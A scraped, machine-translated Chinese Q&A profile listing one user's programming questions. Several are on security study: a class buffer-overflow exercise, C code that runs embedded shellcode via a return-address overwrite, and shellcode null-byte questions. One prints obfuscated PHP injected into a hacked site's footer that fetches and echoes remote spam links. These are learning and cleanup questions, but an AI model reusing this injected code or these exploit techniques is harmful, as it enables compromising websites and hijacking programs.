小编Eth*_*man的帖子

帮助更好地解析Java中String的数字

我有一个包含数字和字母的字符串.我希望将字符串分成连续的数字块和连续的字母块.

考虑字符串"34A312O5M444123A".

我想输出:["34","A","312","O","5","M","444123","A"]

我的代码有效,看起来像:

List<String> digitsAsElements(String str){
  StringBuilder digitCollector = new StringBuilder();

  List<String> output = new ArrayList<String>();

  for (int i = 0; i < str.length(); i++){
    char cChar = str.charAt(i);

    if (Character.isDigit(cChar))
       digitCollector.append(cChar);
    else{
      output.add(digitCollector.toString());
      output.add(""+cChar);

      digitCollector = new StringBuilder();
    }         
  }

  return output;
}
Run Code Online (Sandbox Code Playgroud)

我考虑拆分str两次得到一个包含所有数字块的数组和一个包含所有字母块的数组.然后合并结果.我避开了它,因为它会损害可读性.

我故意避免用正则表达式模式解决这个问题,因为我发现正则表达式模式是可读性的主要障碍.

  • 调试器不能很好地处理它们.
  • 它们会中断某人阅读源代码的流程.
  • 加时正则表达式有机地成长并成为怪物.
  • 他们非常不直观.

我的问题是:

  • 我怎样才能提高上述代码的可读性?
  • 有一个更好的方法吗?一个优雅地解决这个问题的Util类.
  • 你在哪里画一个使用regEx和编写一些简单的东西到我上面写的内容之间的界限?
  • 如何提高regExes的可读性/可维护性?

java regex string readability literate-programming

5
推荐指数
3
解决办法
1281
查看次数

故意缓冲区溢出漏洞程序

我正在尝试为我的一个comp sci课程找出这个问题,我已经利用了所有资源但仍有问题,如果有人能提供一些见解,我会非常感激.

我有这个"目标"我需要执行缓冲区溢出漏洞的execve("/ bin/sh").在buf [128]的溢出中,当执行unsafe命令strcpy时,返回缓冲区的指针出现在系统期望找到返回地址的位置.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}
Run Code Online (Sandbox Code Playgroud)

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, …
Run Code Online (Sandbox Code Playgroud)

buffer exploit buffer-overflow shellcode

5
推荐指数
1
解决办法
2475
查看次数

这段代码是漏洞吗?这段代码是什么?

我正在寻找被某人/某事利用过的网站.该网站有一大堆链接注入其页脚,链接到制药摊位,谁知道还有什么.页脚顶部有很多链接.我现在只能在Yahoo索引的缓存页面上找到它们.谷歌仍然不喜欢该网站,并且现场网站不再显示任何链接.这是给客户的.所以我大部分都知道我被告知了什么,以及我能找到的其他明智之处.

我在footer.php(它是一个OsCommerse站点)的'tip/top'找到了这段代码:

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>
Run Code Online (Sandbox Code Playgroud)

当我查看具有"Bad"链接的源缓存页面时,此代码适合我在footer.php源中找到它的位置.对谷歌的一点研究表明,有类似代码的漏洞.

您如何看待,当我在自己的服务器上运行时,我得到的只是源中的回显注释,如下所示:

<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> …
Run Code Online (Sandbox Code Playgroud)

php exploit shellcode

5
推荐指数
1
解决办法
946
查看次数

如何将\ x00作为参数传递给程序?

我有一个小程序,希望将shellcode作为参数传递。在shellcode中,必须传递\ x00。我尝试了以下命令:

./program `python -c 'print "\x01\x00\x00\x00\x9c\xd8\xff\xbf"'`
Run Code Online (Sandbox Code Playgroud)

但是\ x00根本没有注册!传递给程序的参数是“ \ x01 \ x9c \ xff \ xbf”。

我不认为这是python的问题,而是传递参数的shell。我正在使用bash外壳。

现在,如何强制外壳程序传递参数'\ x00'?

谢谢,问候,
希里希什·穆拉利

shell command-line shellcode

5
推荐指数
1
解决办法
7186
查看次数

使用-L专门查找库时,在加载共享库时出现'错误'

我一直试图解决这个问题几个小时了.我正在使用gcc编译一些c文件.这些文件需要libpbc,所以我使用-L标志将gcc指向包含libpbc.so.1的目录.代码编译没有错误但是当我尝试运行它时,我收到以下错误消息:

./example.out:加载共享库时出错:libpbc.so.1:无法打开共享对象文件:没有这样的文件或目录

看看类似的问题,这个错误消息似乎表明gcc找不到libpbc.so.1.我知道gcc看到libpbc.so.1,因为当我将libpbc.so.1重命名为其他东西时,它无法编译.

我使用-L指向包含libpbc.so.1的目录.

不知道我可以采取哪些后续步骤来解决这个问题.会欣赏任何想法.这个错误信息到底意味着什么?

编辑

运行ldd example.out会导致:

linux-gate.so.1 =>  (0xb7fe3000)
libpbc.so.1 => not found
libgmp.so.3 => /usr/lib/libgmp.so.3 (0xb7f87000)
Run Code Online (Sandbox Code Playgroud)

gcc compiler-errors

4
推荐指数
1
解决办法
5644
查看次数

Windows上的缓冲区溢出攻击导致访问冲突

我刚刚开始研究缓冲区溢出攻击是如何工作的,并尝试使用Visual C 2010 模拟对Windows 7的攻击.缓冲区溢出攻击是非常人为的,它只是将返回地址覆盖到"缓冲区"局部变量的地址.缓冲区包含shellcode字符串.

无论我是否在Visual Studio 2010 Debug中运行程序,程序都会跳转到shellcode并几乎开始执行它,但是我遇到了Access Violation错误,程序将不会继续执行shellcode.

为什么我收到此错误?这是否可以防止Windows中的缓冲区溢出?

会如何,你让程序在缓冲区执行的shellcode?

编辑:

汉斯(回答)是对的.这在Windows Internals 5th的安全章节中讨论,错误的原因是Microsoft的可执行空间保护实现.

如果这个问题对任何人都有帮助,那么任何赞成票都会受到赞赏

void execute_my_shellcode()
{
    char buffer[24];
    memcpy(buffer, "\x6A\x21\xFF\x15\x40\x62\x40\x00\x83\xC4\x04\x6A\x0A\xFF\x15\x40\x62\x40\x00\x83\xC4\x04\xC3", 24); 
    printf("current return address: %p\n", *(int*)((char*)&buffer + 24 + 4));   
    *(int*)((char*)&buffer + 24 + 4) = (int)&buffer; 
    printf("return address is now : %p\n\n", (int*)*(int*)((char*)&buffer + 24 + 4) );
}
Run Code Online (Sandbox Code Playgroud)

c security shellcode

4
推荐指数
1
解决办法
2881
查看次数

组合数数谜题:掷 20 个 8 面骰子,得到至少 5 个相同值的骰子的概率是多少

假设有一个游戏,其中一个人掷出 20 个 8 面的骰子,总共有 8^20 个可能的结果。为了计算特定事件发生的概率,我们将事件发生的方式数除以 8^20。

一个人可以计算得到值 3 的 5 个骰子的方法数。(20 选择 5)给了我们 3 的订单数。7^15 给了我们在 15 次掷骰时不能得到值 3 的方法数.

number of ways to get exactly 5, 3's = (20 choose 5)*7^15.
Run Code Online (Sandbox Code Playgroud)

答案也可以看成我可以用多少种方式重新排列字符串 3,3,3,3,3,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0(20 选择 5)乘以零的值总数(假设有 7 个合法值)7^15(是否正确)。

  • 问题 1:如何计算获得 5 个相同值的骰子的方法数(即对于所有骰子值)。注意:如果我只是天真地使用上面的第一个答案并乘以 bt 8,我会得到大量的重复计算吗?

    我知道我可以解决每种情况 (5 1's), (5, 2's), (5, 3's), ... (5's, 8) 对它们求和(更简单的是 8*(5 1's) )。然后减去重叠数的总和 (5 1's) 和 (5 2's), (5 1's) and (5 3's)... (5 1's) and (5, 2's) and ... and (5, …

python puzzle combinatorics discrete-mathematics dice

3
推荐指数
1
解决办法
3478
查看次数

Linux的安全措施反对执行shellcode

我正在学习计算机安全的基础知识,并且我正在尝试执行一些我写过的shellcode.我按照这里给出的步骤

http://dl.packetstormsecurity.net/papers/shellcode/own-shellcode.pdf

http://webcache.googleusercontent.com/search?q=cache:O3uJcNhsksAJ:dl.packetstormsecurity.net/papers/shellcode/own-shellcode.pdf+own+shellcode&cd=1&hl=nl&ct=clnk&gl=nl

$ cat pause.s
xor %eax,%eax
mov $29,%al     
int $0x80       
$ as -o pause.o pause.s
$ ld -o pause pause.o
ld: warning: cannot find entry symbol _start; defaulting to <<some address here>>
$ ./pause 
^C
$ objdump -d ./pause
pause:     file format elf64-x86_64
Disassembly of section .text:
      08048054 <.text>:
      8048054: 31 c0     xor    %eax,%eax
      8048056: b0 1d     mov    $0x1d,%al
      8048058: cd 80     int    $0x8
$
Run Code Online (Sandbox Code Playgroud)

由于我让暂停程序工作,我只是将objdump输出复制到ac文件.

test.c的:

int main()
{
    char s[] = "\x31\xc0\xb0\x1d\xcd\x80";
    (*(void(*)())s)();
}
Run Code Online (Sandbox Code Playgroud)

但这会产生段错误.现在,这只能归功于Arch Linux(?)的安全措施.那我怎么能让它运作起来呢?

x86-64 linux-kernel archlinux shellcode

2
推荐指数
1
解决办法
1532
查看次数

在Java中通过HTTP下载目录

我在目录树中有一些文件通过HTTP提供.给定一些子目录A,在该目录树中,我希望能够下载目录A以及所有包含子目录和文件的目录.

Java的某个黑暗角落似乎存在简单/直接/原子解决方案.有谁知道如何做到这一点?

由于子目录中的文件可能链接到非子目录的目录,因此webcrawler无法解决我的问题.

== ==更新

目录和文件必须以静态方式托管.

服务器静态托管目录树中的文件,客户端正在运行Java并尝试使用HTTP复制目录树的某个分支.

VFS就是答案,不幸的是我自己回答了这个问题,所以直到两天后才能选择它作为答案.如果有人写下我的回答,我很乐意将他们的写作标记为答案.

==进一步更新==

VFS实际上不是答案.VFS不会列出目录通过HTTP,这里说.似乎有一些人对该功能感兴趣.

java directory http

1
推荐指数
1
解决办法
4562
查看次数

在不包含windows.h的情况下调用kernel32.dll函数

如果确保kernel32.dll被加载到进程虚拟内存中,为什么我不能在不包含windows.h的情况下调用Sleep这样的函数?以下是来自vividmachine.com的摘录

那么,窗户呢?如何找到所需DLL函数的地址?每个Service Pack升级都不会改变这些地址吗?

有很多方法可以找到需要在shellcode中使用的函数的地址.有两种解决功能的方法; 您可以在运行时找到所需的功能或使用硬编码的地址.本教程将主要讨论硬编码方法.唯一保证映射到shellcode地址空间的DLL是kernel32.dll.这个DLL将保存LoadLibrary和GetProcAddress,这两个函数需要获取可以映射到漏洞进程空间的任何函数地址.但是这种方法存在问题,地址偏移量将随着Windows的每个新版本(服务包,补丁等)而改变.因此,如果您使用此方法,则shellcode仅适用于特定版本的Windows.进一步阅读部分将在本文末尾引用进一步的动态寻址.

c++ dll winapi shellcode

1
推荐指数
1
解决办法
2950
查看次数

Java中的久负盛名的页面/物理内存

我的目标是确保在连续的物理内存中分配在java中分配的数组.我遇到的问题是,除非我分配一个非常大的数组,否则分配数组的页面在物理内存中往往不是连续的.

我的问题是:

  • 为什么一个非常大的数组确保在物理内存中连续的页面?
  • 有没有办法确保跨物理内存分配数组,这不涉及使数组真的很大?
  • 如何在不测量缓存命中/缓存未命中的情况下,如何判断Java对象/阵列所在的页面或物理地址?

我不是在寻找答案,问我为什么要在java中这样做.我知道C会"解决我的问题",而且我反对java的基本性质.不过我有充分的理由这样做.

答案无法保证始终有效.我正在寻找大部分时间都有效的答案.创造性的,开箱即用的答案的额外点,没有合理的Java程序员会写.可以特定于平台(x86 32位64位).

java paging x86 operating-system memory-management

0
推荐指数
2
解决办法
1801
查看次数

smartclient适合吗?

SmartClient的等待时间如何在数千名用户编辑网格中进行扩展?

我之前收到警告,说ExtJS不合适.

extjs smartclient smartgwt

0
推荐指数
1
解决办法
3742
查看次数

如何从机器代码中删除 NULL (00)?

我需要知道如何从机器代码中删除空值 (00)。我用汇编语言编写了代码。它运行成功。我需要没有 NULL 的输出

.data
  Bash:
      .asciz "/bin/hostname"
  Null1:
      .int 0
  AddrToBash:
      .int 0
  NULL2:
      .int 0

  .text
      .globl _start

_start:
       #execute routine

       xor  %eax,%eax
       movl $Bash, AddrToBash
       movl $11,%eax
       movl $Bash,%ebx
       movl $AddrToBash,%ecx
       movl $NULL2,%edx
       int  $0x80

       #exit routine


     Exit:
       movl $10,%ebx
       movl $1,%eax
       int $0x80 
Run Code Online (Sandbox Code Playgroud)

以下输出是

4000b0: 31 c0                   xor    %eax,%eax
  4000b2:   c7 04 25 f2 00 60 00    movl   $0x6000e0,0x6000f2
  4000b9:   e0 00 60 00 
  4000bd:   b8 0b 00 00 00          mov    $0xb,%eax
  4000c2:   bb e0 00 …
Run Code Online (Sandbox Code Playgroud)

assembly shellcode

-3
推荐指数
1
解决办法
3953
查看次数